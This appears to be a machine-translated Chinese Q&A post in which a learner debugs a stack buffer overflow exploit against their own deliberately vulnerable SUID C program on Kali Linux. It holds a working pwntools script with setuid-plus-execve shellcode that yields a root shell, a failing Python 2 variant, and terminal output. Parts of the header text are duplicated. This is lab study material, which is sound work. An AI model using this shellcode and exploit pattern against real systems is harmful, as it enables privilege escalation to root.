Python 仅使用pwntools才能利用缓冲区溢出漏洞
我试图在没有任何保护(即ASLR、canary、PIE、NX、Parial RelRO、Fortify)的简单x64 C二进制文件上创建缓冲区溢出。我正在使用(更新的)x64 Kali Linux 2020.4发行版(在vmware中使用官方攻击性安全网站上的vmware映像)。我正在以root身份编译程序,并且我正在启用SUID位,以便从一个非特权帐户访问具有root权限的程序。易受攻击程序的代码(Python 仅使用pwntools才能利用缓冲区溢出漏洞,python,vmware,cat,buffer-overflow,kali-linux,Python,Vmware,Cat,Buffer Overflow,Kali Linux,我试图在没有任何保护(即ASLR、canary、PIE、NX、Parial RelRO、Fortify)的简单x64 C二进制文件上创建缓冲区溢出。我正在使用(更新的)x64 Kali Linux 2020.4发行版(在vmware中使用官方攻击性安全网站上的vmware映像)。我正在以root身份编译程序,并且我正在启用SUID位,以便从一个非特权帐户访问具有root权限的程序。易受攻击程序的代码(example.c)如下所示: #include<stdio.h> #include
example.c
)如下所示:
#include<stdio.h>
#include<string.h>
void vuln_func();
int main(int argc, char *argv[])
{
printf("Hi there!\n");
vuln_func();
}
void vuln_func()
{
char buffer[256];
gets(buffer);
}
使用python3的pwntools创建一个利用漏洞的工具工作得很好,我得到了一个根shell
from pwn import *
nopsled = b"\x90"*100
shellcode = b"\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x48\x31\xc0\x48\x89\xc2\x48\x89\xd6\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x48\x83\xc0\x3b\x0f\x05"
padding = b"A"*(256-len(shellcode)-len(nopsled))
padding += b"B"*8
padding += p64(0x7fffffffdec4)
payload = nopsled + shellcode + padding
p = process("./example")
p.recv()
p.sendline(payload)
p.interactive()
但是,当我在python2上使用完全相同的有效负载而不使用pwntools时,它不会
import struct
nopsled = "\x90"*100
shellcode = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x48\x31\xc0\x48\x89\xc2\x48\x89\xd6\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x48\x83\xc0\x3b\x0f\x05"
padding = "A"*(256-len(shellcode)-len(nopsled))
padding += "B"*8
padding += struct.pack("Q", 0x7fffffffdec4)
payload = nopsled + shellcode + padding
print payload
然后使用以下命令运行它:
$(python exploit.py; cat) | ./example
cat
命令“捕获”stdin,但当我提供命令时,什么也不会发生
┌──(kali㉿kali)-[~/Desktop/boe/example]
└─$ $(python exploit.py ; cat) | ./example
Hi there!
whoami
id
^C
┌──(kali㉿kali)-[~/Desktop/boe/example]
└─$
真正奇怪的是,在外壳代码之前添加“\xCC”字节时
shellcode = "\xcc\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x48\x31\xc0\x48\x89\xc2\x48\x89\xd6\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x48\x83\xc0\x3b\x0f\x05"
我收到这样一个信号:
┌──(kali㉿kali)-[~/Desktop/boe/example]
└─$ python exploit.py | ./example
Hi there!
zsh: done python exploit.py |
zsh: trace trap ./example
你知道为什么会这样吗?Python 2也支持
b'blah blah'
字节文本。Python 2也支持b'blah blah'
字节文本。
┌──(kali㉿kali)-[~/Desktop/boe/example]
└─$ python exploit.py | ./example
Hi there!
zsh: done python exploit.py |
zsh: trace trap ./example